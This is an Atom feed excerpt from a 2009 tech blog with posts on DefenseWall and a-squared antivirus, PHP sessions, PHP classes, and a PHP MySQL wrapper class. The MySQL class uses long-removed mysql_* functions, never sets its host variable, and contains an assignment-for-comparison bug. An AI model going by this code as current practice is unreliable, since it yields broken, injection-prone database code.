src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-6895502373469216691</id><published>2009-11-12T12:55:00.000-08:00</published><updated>2009-11-12T12:55:57.030-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antispyware'/><title type='text'>Review of a future antivirus software or HIPS</title><content type='html'>On this video you'll see why it's great to have a &lt;b&gt;Host Intrusion Protection System&lt;/b&gt; such as the free DefenseWall.&lt;br /&gt;The program comes handy when you get infected with nasty viruses. Like those that use self modifying code, load up even in safe-mode or damage the system files like &lt;i&gt;Virut&lt;/i&gt; variants. In such extreme cases sometimes the only option left for the user is to format and do a clean reinstall which takes time.&lt;br /&gt;&lt;br /&gt;But before giving up try DefenseWall from http://softsphere.com. The program creates a &lt;b&gt;sandbox &lt;/b&gt;in which runs every new application. Once inside the process has limited privileges/resources and if misbehaves you have the choice to delete the process and automatically rollback the system to its previous working state.&lt;br /&gt;&lt;br /&gt;Every time a process tries to access your protected area or spawn a new one out you get notified and you can choose to allow, disallow this action or terminate the initiating process.&lt;br /&gt;By default all the running applications are being untrusted, but you can also create another group of trusted applications that you frequently use.&lt;br /&gt;&lt;br /&gt;Also you have one really wonderful tab called "Stop Attack" and if you press on the button &lt;i&gt;Close untrusted processes&lt;/i&gt; the DefenseWall will automatically terminate all the untrusted applications. &lt;br /&gt;&lt;br /&gt;If you are already infected just click on &lt;i&gt;File and Registry tracks&lt;/i&gt; to search for, select and and delete all the malware/trojan/virus processes and their tracks.&lt;br /&gt;&lt;br /&gt;Here is a quick intro on how to work with the program:&lt;br /&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/2gUFwkS2BXo&amp;hl=en_US&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/2gUFwkS2BXo&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/71aNELHkung&amp;hl=en_US&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/71aNELHkung&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-6895502373469216691?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/6895502373469216691/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=6895502373469216691' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6895502373469216691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6895502373469216691'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/11/review-of-future-antivirus-software-or.html' title='Review of a future antivirus software or HIPS'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-307571313526869345</id><published>2009-10-09T08:20:00.000-07:00</published><updated>2011-01-22T04:19:33.068-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php lessons'/><title type='text'>PHP lessons - sessions</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Why do you need sessions?&lt;/span&gt;&lt;br /&gt;Sessions are handy when you want to &lt;span style="font-weight: bold;"&gt;remember &lt;/span&gt;some information(i.e. variables ) and keep it accessible across website's pages.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;What are they being used for?&lt;/span&gt;&lt;br /&gt;Usually to remember some preferences like:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;user name&lt;/li&gt;&lt;li&gt;shopping list of items&lt;/li&gt;&lt;li&gt;user rights: like what kind of permissions  does one have&lt;/li&gt;&lt;li&gt;user state: whether someone is logged in or not&lt;/li&gt;&lt;li&gt;etc..&lt;/li&gt;&lt;/ul&gt;By using sessions we can access such data through the $_SESSION[] array. This way  significantly reducing queries  made to the database.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Session and cookies - differences&lt;/span&gt;&lt;br /&gt;1. Sessions use cookies, to set their unique id &lt;span style="font-style: italic;"&gt;PHPSESSID=0g4sdf4agh27cghef3dhgahfh7j1gheg1j6&lt;/span&gt;, with no other data  set in the cookie. This way server knows how to identify your session from others. The other method of doing this is passing the session id to the page URL  as a parameter.&lt;br /&gt;2. Cookies data is browser stored, while sessions data reside on the web server being invisible to the end user.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;How to work with sessions?&lt;/span&gt;&lt;br /&gt;You'll just need to start a session with:&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;? session_start(); ?&amp;gt;&lt;/pre&gt;then to store a value in the $_SESSION[] array just type:&lt;br /&gt;&lt;pre class="brush: css"&gt;$_SESSION['user_name']="Paul";&lt;/pre&gt;When you want to access your session data from other page just:&lt;br /&gt;1. Start the session with session_start().&lt;br /&gt;Remember to place the above code at the top of your web page, otherwise you'll see errors!&lt;br /&gt;2. To access the stored data just type:&lt;br /&gt;&lt;pre class="brush: php"&gt;echo $_SESSION['user_name'];&lt;/pre&gt;That's it. Now you can watch the video for some more examples of sessions basic usage:&lt;br /&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/xZfYCFxF7bE&amp;amp;hl=en&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/xZfYCFxF7bE&amp;amp;hl=en&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="344" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-307571313526869345?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/307571313526869345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=307571313526869345' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/307571313526869345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/307571313526869345'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/10/php-lessons-sessions.html' title='PHP lessons - sessions'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-8758967760760889280</id><published>2009-09-27T21:34:00.000-07:00</published><updated>2011-01-22T04:35:37.328-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php lessons'/><title type='text'>PHP lessons - introduction to classes and objects - part I</title><content type='html'>You can think of a class as a needful template that defines an object. It contains functions known as &lt;b&gt;class&lt;/b&gt;&lt;span style="font-weight: bold;"&gt; methods&lt;/span&gt; and variables known as &lt;span style="font-weight: bold;"&gt;class properties&lt;/span&gt;/attributes. They are much like the normal php functions and variables:&lt;br /&gt;&lt;pre class="brush: php"&gt;//example of class &lt;span style="font-weight: bold;"&gt;property&lt;/span&gt;&lt;br /&gt;public $my_name = "test";&lt;br /&gt;&lt;br /&gt;//example of class &lt;span style="font-weight: bold;"&gt;method&lt;/span&gt;&lt;br /&gt;function my_method() {&lt;br /&gt;echo "Hello!";&lt;br /&gt;}&lt;/pre&gt;Here is an example of a simple &lt;span style="font-weight: bold;"&gt;class structure&lt;/span&gt;: Just copy and paste it in your favorite editor:&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?&lt;br /&gt;class my_class {//begin of class definition&lt;br /&gt;&lt;br /&gt;//here we place its functions and variables&lt;br /&gt;public $my_name = "test"; //we are directly setting value of "test" to variable $my_name&lt;br /&gt;&lt;br /&gt;function my_method() {&lt;br /&gt;echo $this-&amp;gt;my_name; //we are accessing the above class variable $my_name&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;} //end of class my_class&lt;br /&gt;?&amp;gt;&lt;/pre&gt;(Note that we've changed the function my_method(). This way when evoked it will display the contents of $my_name. The arrow symbol ( -&amp;gt; ) points to a method or property of a given object. To access our current object, we use the special name $this.)&lt;br /&gt;&lt;br /&gt;Next lets&lt;span style="font-weight: bold;"&gt; create a new object&lt;/span&gt; or in other words to make an instance of my_class:&lt;br /&gt;&lt;pre class="brush: php"&gt;$my_object = new my_class(); //create object from class my_class accessible through variable $my_object&lt;/pre&gt;Now the variable $my_object holds a reference to the newly created object of class $my_class. So we could try its methods and properties:&lt;br /&gt;&lt;pre class="brush: php"&gt;$my_object-&amp;gt;my_method(); //will display "test"&lt;br /&gt;$my_object-&amp;gt;my_name = "Peter";&lt;br /&gt;echo "&amp;lt;br /&amp;gt;";&lt;br /&gt;$my_object-&amp;gt;my_method(); //will display "Peter"&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Initialization&lt;/span&gt;&lt;br /&gt;If we want to initialize our class(i.e. to run some functions or set up some variables) we use its special function called __construct(). Upon exiting our class we use its function __destruct(). Also in the example we restrict the access to our class variable.&lt;br /&gt;Here is an example:&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php class User{&lt;br /&gt;&lt;br /&gt;private $name; //variable $name will be accessible only via methods set_name() and get_name()&lt;br /&gt;&lt;br /&gt;function __construct($default_name = "anonymous"){ //initialize $name = "anonymous";&lt;br /&gt;$this-&amp;gt;name = $default_name;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function set_name($new_name){&lt;br /&gt;$this-&amp;gt;name = $new_name; //set $name via incoming parameter $new_name;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function get_name(){&lt;br /&gt;return $this-&amp;gt;name; //access contents of $name;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//create object $my_user or make an instance of User&lt;br /&gt;$my_user = new User();&lt;br /&gt;&lt;br /&gt;echo "Initial name: " . $my_user-&amp;gt;get_name();&lt;br /&gt;echo "&amp;lt;br /&amp;gt;";&lt;br /&gt;&lt;br /&gt;//now we change $my_user&lt;br /&gt;$my_user-&amp;gt;set_name("Ted");&lt;br /&gt;echo "New name: " . $my_user-&amp;gt;get_name();&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;As you can see we've set up out User class: have initialized its default $name via the constructor __construct(), and we have built two functions to manipulate its name(get_name and set_name). Remember that variable $name now can only be accessed by the class methods get_name() and set_name() and not directly: echo $my_user-&amp;gt;name will produce an error.&lt;br /&gt;&lt;br /&gt;Why private?&lt;br /&gt;Well, it's really a practical question. And the answer is simple: you use 'private' when you have member variables that depend on each other(i.e must change accordingly).&lt;br /&gt;for example if you have:&lt;br /&gt;&lt;pre class="brush: php"&gt;class User {&lt;br /&gt;public $name; //&lt;i&gt;public &lt;/i&gt;means open to direct access&lt;br /&gt;public $avatar;&lt;br /&gt;&lt;br /&gt;function set_name($new_name) {&lt;br /&gt;$this-&amp;gt;name = $new_name;&lt;br /&gt;$this-&amp;gt;avatar = "My name is $this-&amp;gt;name. Nice to meet you!";//dependent variable&lt;br /&gt;}&lt;br /&gt;}&lt;/pre&gt;&lt;pre class="brush: php"&gt;$my_user=new User();&lt;br /&gt;$my_user-&amp;gt;set_name("John");&lt;br /&gt;$my_user-&amp;gt;name="test";&lt;br /&gt;echo $my_user-&amp;gt;name;&lt;br /&gt;echo $my_user-&amp;gt;avatar;&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;when $name is 'public' you are allowed to use the direct: $User-&amp;gt;name = "John";&lt;br /&gt;but this way you'll ONLY change the variable $name and user's $avatar will not be updated!&lt;br /&gt;Solution: Just set $name to 'private' to disable access such like $User-&amp;gt;name and use member function set_name() that automatically updates the dependent variables for you. Now of course you must use the function get_name(); to get the value of variables $name and avatar like for example: &lt;br /&gt;&lt;pre class="brush: php"&gt;function get_name() {&lt;br /&gt;echo $this-&amp;gt;name;&lt;br /&gt;echo "&lt;br /&gt;";&lt;br /&gt;echo $this-&amp;gt;avatar;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Here is part I of the video from this tutorial:&lt;br /&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/dOUCNDLGHGI&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/dOUCNDLGHGI&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;In lesson 2 we'll explore more advanced topics and practical usage of PHP classes and objects.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-8758967760760889280?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/8758967760760889280/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=8758967760760889280' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8758967760760889280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8758967760760889280'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/09/php-lessons-introduction-to-classes-and.html' title='PHP lessons - introduction to classes and objects - part I'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-8578326030036419920</id><published>2009-09-22T04:15:00.000-07:00</published><updated>2011-10-06T10:00:53.243-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php lessons'/><title type='text'>PHP lessons - MySQL class example</title><content type='html'>&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;class mysqldb {&lt;br /&gt;//set up the class&lt;br /&gt;var $dbhost;&lt;br /&gt;var $db;&lt;br /&gt;var $dbuser;&lt;br /&gt;var $dbpassword;&lt;br /&gt;var $sql;&lt;br /&gt;var $result;&lt;br /&gt;var $numberrows;&lt;br /&gt;var $dbconnection = false;&lt;br /&gt;var $insert_id;&lt;br /&gt;&lt;br /&gt;function get_insert_id(){ $this-&amp;gt;insert_id=mysql_insert_id(); return $this-&amp;gt;insert_id;}&lt;br /&gt;&lt;br /&gt;function getdb(){return $this-&amp;gt;db;}&lt;br /&gt;&lt;br /&gt;function setdb($req_db){$this-&amp;gt;db = $req_db;}&lt;br /&gt;&lt;br /&gt;function setdbuser($req_user){$this-&amp;gt;dbuser = $req_user;}&lt;br /&gt;&lt;br /&gt;function setdbpassword($req_password){$this-&amp;gt;dbpassword = $req_password;}&lt;br /&gt;&lt;br /&gt;function getsql(){return $this-&amp;gt;sql;}&lt;br /&gt;&lt;br /&gt;function setsql($req_sql) {$this-&amp;gt;sql = $req_sql;}&lt;br /&gt;&lt;br /&gt;function getnumberrows() {return $this-&amp;gt;numberrows;}&lt;br /&gt;&lt;br /&gt;function setnumberrows($req_numberrows) {$this-&amp;gt;numberrows = $req_numberrows;}&lt;br /&gt;&lt;br /&gt;function setdbconnection($req_dbconnection){$this-&amp;gt;dbconnection = $req_dbconnection;}&lt;br /&gt;&lt;br /&gt;function closedbconnection(){&lt;br /&gt;if($this-&amp;gt;dbconnection=$TRUE) mysql_close($this-&amp;gt;dbconnection);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function real_escape($string) {&lt;br /&gt;return mysql_real_escape_string($string,$this-&amp;gt;dbconnection);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function mysqldb(){&lt;br /&gt;$HOST           =    "localhost";&lt;br /&gt;$DB             =    "your_db_name";&lt;br /&gt;$WEBUSER        =    "your_mysql_username";&lt;br /&gt;$WEBPASSWORD    =    "your_mysql_password";&lt;br /&gt;$this-&amp;gt;setdb($DB);&lt;br /&gt;$this-&amp;gt;setdbuser($WEBUSER);&lt;br /&gt;$this-&amp;gt;setdbpassword($WEBPASSWORD);&lt;br /&gt;$this-&amp;gt;opendbconnection();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function opendbconnection(){&lt;br /&gt;$this-&amp;gt;dbconnection=mysql_connect("$this-&amp;gt;dbhost","$this-&amp;gt;dbuser","$this-&amp;gt;dbpassword");&lt;br /&gt;if ($this-&amp;gt;dbconnection)//if we have connected select and return true&lt;br /&gt;{&lt;br /&gt;mysql_select_db($this-&amp;gt;db,$this-&amp;gt;dbconnection) or die("Unable to select database");&lt;br /&gt;}&lt;br /&gt;else {$this-&amp;gt;dbconnection=false;}&lt;br /&gt;&lt;br /&gt;// unset the data so it couldn't be dumped&lt;br /&gt;$this-&amp;gt;dbhost='';&lt;br /&gt;$this-&amp;gt;db='';&lt;br /&gt;$this-&amp;gt;dbuser='';&lt;br /&gt;$this-&amp;gt;dbpassword='';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function selectquery(){&lt;br /&gt;$this-&amp;gt;qry=@mysql_query($this-&amp;gt;sql,$this-&amp;gt;dbconnection);&lt;br /&gt;if(!$this-&amp;gt;qry){$this-&amp;gt;numberrows=0; return false;}//query error&lt;br /&gt;&lt;br /&gt;else{//query passed&lt;br /&gt;$this-&amp;gt;numberrows=@mysql_numrows($this-&amp;gt;qry);&lt;br /&gt;//if we have any result fill in the result array&lt;br /&gt;if($this-&amp;gt;numberrows&amp;gt;=0) {&lt;br /&gt;for($x=0;$x&amp;lt;$this-&amp;gt;numberrows;$x++){$this-&amp;gt;result[$x]=@mysql_fetch_array($this-&amp;gt;qry);} return true; }  else{$this-&amp;gt;numberrows=0; return false;}//if we don't have results give error&lt;br /&gt;}//end query passed&lt;br /&gt;}&lt;br /&gt;}//end of class mysqldb  &lt;br /&gt;?&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Here is the explanation of the code: As you can see from the first few lines of code we are declaring a class. It's name is mysqldb and will hold all our database handling functions such as: opendbconnection(), selectquery(), etc...  As you know in Object Oriented Programming  these functions are called &lt;span style="font-weight: bold;"&gt;member functions&lt;/span&gt;, because when we create a new 'member', 'object', 'instance'(synonyms in OOP) from this class those functions will automatically attach and belong to the new member.&lt;br /&gt;&lt;br /&gt;There are also &lt;span style="font-weight: bold;"&gt;member variables &lt;/span&gt;such as: $dbhost, $db, etc... They are helpful because they are used to exchange data through the all class functions. It's also worth mentioning that every newly created(also called derived in OOP) object  could hold its own different data in those variables.&lt;br /&gt;In this database class we'll mainly use  member functions to perform various operations and return result such as TRUE, FALSE or a data filled member variable. This way we'll simplify the whole coding process.&lt;br /&gt;&lt;br /&gt;But let's first explain the main functions:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;function mysqldb()&lt;/span&gt; is used to set up our database: host,  name and credentials such as username and password needed in order to connect. Their values are being hardcoded as variables, but you could load and use them from another file. Next these variables are set to the object via member functions so they become member variables - accessible from every function inside the class.&lt;br /&gt;Next comes a call to opendbconnection(). As we can see there mysql_connect() uses our member variables to connect to the database host and select the proper database. We have used the variable $dbconnection to show whether our connection has launched successfully. Then we reset our connection variables. This way if somehow our object is hacked and dumped, these variables will be empty, so the attacker won't knew our username and password to gain  access to our database.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;I. Initial setup example:&lt;/span&gt;&lt;br /&gt;Change:&lt;br /&gt;&lt;pre class="brush: php"&gt;$DB             =    "your_db_name";&lt;br /&gt;$WEBUSER        =    "your_mysql_username";&lt;br /&gt;$WEBPASSWORD    =    "your_mysql_password";&lt;/pre&gt;and save the above code as mysql_oop.php&lt;br /&gt;&lt;br /&gt;then in a separate php file run:&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?&lt;br /&gt;include_once("mysql_oop.php");&lt;br /&gt;$db= &amp;amp;new mysqldb;&lt;br /&gt;?&amp;gt;&lt;/pre&gt;This way we include our database class and create new instance(object) of it. From now on we'll have an access point to that object(or our database) via the variable $db.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;II. Selecting, Updating and Deleting data&lt;/span&gt;&lt;br /&gt;Function selectquery() is handy because it runs a given sql query and returns its calculated result. In order to use it we must first call function setsql() like this:&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?&lt;br /&gt;$db-&amp;gt;setsql("SELECT * from our_table");//fill in the $db-&amp;gt;sql variable;&lt;br /&gt;if(!$db-&amp;gt;selectquery()) {echo "query returned empty dataset";}&lt;br /&gt;$info = $db-&amp;gt;result;&lt;br /&gt;print_r($info);&lt;br /&gt;?&amp;gt;&lt;/pre&gt;our result will show up in the $info array. Don't forget to initialize the class first with the 2 lines from our first example. Go ahead and try it!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;III. More examples:&lt;/span&gt;&lt;br /&gt;Before running a query we must check the input variables. It's easy. For example to check and &lt;span style="font-weight: bold;"&gt;sanitize the escape characters&lt;/span&gt; of variable $password just do:&lt;br /&gt;&lt;pre class="brush: php"&gt;$new_password=$db-&amp;gt;real_escape($new_password);&lt;/pre&gt;To get the returned&lt;span style="font-weight: bold;"&gt; number of rows&lt;/span&gt;:&lt;br /&gt;&lt;pre class="brush: php"&gt;echo $numberrows = $db-&amp;gt;getnumberrows();&lt;/pre&gt;&lt;br /&gt;To &lt;span style="font-weight: bold;"&gt;debug or show&lt;/span&gt; your input sql query code you can use:&lt;br /&gt;&lt;pre class="brush: php"&gt;echo $db-&amp;gt;getsql();&lt;/pre&gt;function get_insert_id() displays the id of our last inserted row&lt;br /&gt;&lt;br /&gt;and closedbconnection() is used to close the connection to our database server&lt;br /&gt;&lt;br /&gt;This object oriented approach is very flexible. Just try the above code and if you have questions go ahead and ask!&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #cc0000; font-weight: bold;"&gt;Update&lt;/span&gt;: please see the following video for working examples:&lt;br /&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/5Piw6lI-q7k&amp;hl=en&amp;fs=1&amp;fmt=18"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/5Piw6lI-q7k&amp;hl=en&amp;fs=1&amp;fmt=18" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-8578326030036419920?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='enclosure' type='video/mp4' href='http://www.blogger.com/video-play.mp4?contentId=22a3d21510731db8&amp;type=video%2Fmp4' length='0'/><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/8578326030036419920/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=8578326030036419920' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8578326030036419920'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8578326030036419920'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/09/php-lessons-mysql-class-example.html' title='PHP lessons - MySQL class example'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-4980403975421096518</id><published>2009-09-16T10:27:00.000-07:00</published><updated>2009-10-07T09:09:54.204-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antispyware'/><title type='text'>A squared free - best antivirus for 2009</title><content type='html'>&lt;p&gt;Recently I was having a spyware problem, and this time I decided to look around and retest some of my favourite antivirus software. I tried complex scanning with Dr.Web, Spyware Terminator, AntiMalware from MalwareBytes, Spybot and AdAware.&lt;/p&gt;&lt;p&gt;It appeared that none of them was able to detect the spyware/trojan I was having. I took this as a good sign but then Spyware Terminator Schield warned about some suspicious file  trying to access the Internet. The filename was something random such as: 5fdsfgjik.dll and resided on c:\windows\system32\. That looked very suspicious to me, so I blocked the file. I also noticed that when left unblocked, my traffic lights were constantly on, so I located the file and send it to  http://virusscan.jotti.org/. Only A-sqared&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.emsisoft.com/en/software/free/"&gt;&lt;img style="cursor: pointer; width: 120px; height: 120px;" src="http://www.emsisoft.com/images/logos/boxshot_am_120x120t.png" alt="" border="0" /&gt;&lt;/a&gt;, Icarus and one more software detected the virus. So I download the A-squared free version and cleaned up my computer. Later I found that the A squared took first place in testing  executed by www.av-test.org test including 3200 of the most spread malwares with about 480,000 unique malware samples. Here are some details of the 2009 test:&lt;/p&gt;&lt;p&gt;http://www.protectstar-testlab.org/content/site/dateien/1010test-emsi-a-squared_en.pdf&lt;/p&gt;&lt;p&gt;http://www.emsisoft.com/images/antivirustest_pcsl_200907.png&lt;/p&gt;&lt;p&gt;http://malwareresearchgroup.com/?page_id=3&lt;/p&gt;&lt;p&gt;http://ssupdater.com/modules/Forums/index.php?showtopic=5508&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2008 test: http://www.pcsecuritylabs.net/articles.php?article_id=4&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;The following programs were tested:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;- Avira Antivir Personal Free Antivirus 9.0&lt;br /&gt;- Bitdefender Free Edition 10&lt;br /&gt;- Panda Cloud Antivirus Beta&lt;br /&gt;- Microsoft Security Essentials 1.0&lt;br /&gt;- Alwil Avast Antivirus Home 4.8&lt;br /&gt;- AVG Anti-Virus Free Edition 8.5&lt;br /&gt;- Emsi Software a-squared Free 4.5&lt;br /&gt;- Comodo Internet Security 3.10&lt;br /&gt;- PC Tools Antivirus Free Edition 6.0&lt;br /&gt;- Clamwin Free Antivirus 0.95&lt;a href="http://de.clamwin.com/" target="_blank"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;The detection test results for a-squared Free:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;- Wildlist Malware on Demand: 100% detected&lt;br /&gt;- Worms: 99.99% detected&lt;br /&gt;- Backdoors: 99.98% detected&lt;br /&gt;- Bots: 99.81% detected&lt;br /&gt;- Trojans: 99.95% detected&lt;br /&gt;- 5 active nasties: 100% detected&lt;br /&gt;- Heuristic (1 week without updates): 63.56% detected&lt;br /&gt;- Heuristic (2 weeks without updates): 52.72% detected&lt;br /&gt;- Adware and Spyware: 99.57% detected&lt;/p&gt;&lt;p&gt;So go ahead and check your computer. It's free for the first 30days.&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-4980403975421096518?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/4980403975421096518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 